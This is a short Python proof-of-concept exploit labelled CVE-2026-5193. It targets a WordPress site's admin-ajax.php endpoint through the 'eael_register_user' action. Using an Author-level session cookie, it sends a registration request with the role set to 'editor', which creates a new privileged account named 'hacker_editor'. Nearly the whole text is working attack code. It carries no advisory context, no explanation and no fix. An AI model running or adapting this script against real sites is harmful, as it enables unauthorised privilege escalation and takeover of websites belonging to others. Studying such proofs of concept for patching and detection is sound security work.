CVE-2026-5193

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's cookies (Author level privileges required) attacker_cookies = { "wordpress_logged_in_xxx": "author_session_cookie_here" } # PoC Payload: Exploit privilege escalation to create an Editor user exploit_data = { "action": "eael_register_user", "username": "hacker_editor", "email": "[email protected]", "password": "StrongPass123!", "role": "editor" # Vulnerable parameter: bypasses restriction } try: response = requests.post(target_url, data=exploit_data, cookies=attacker_cookies) if response.status_code == 200: print("[+] Request sent successfully. Check if user 'hacker_editor' was created with Editor role.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

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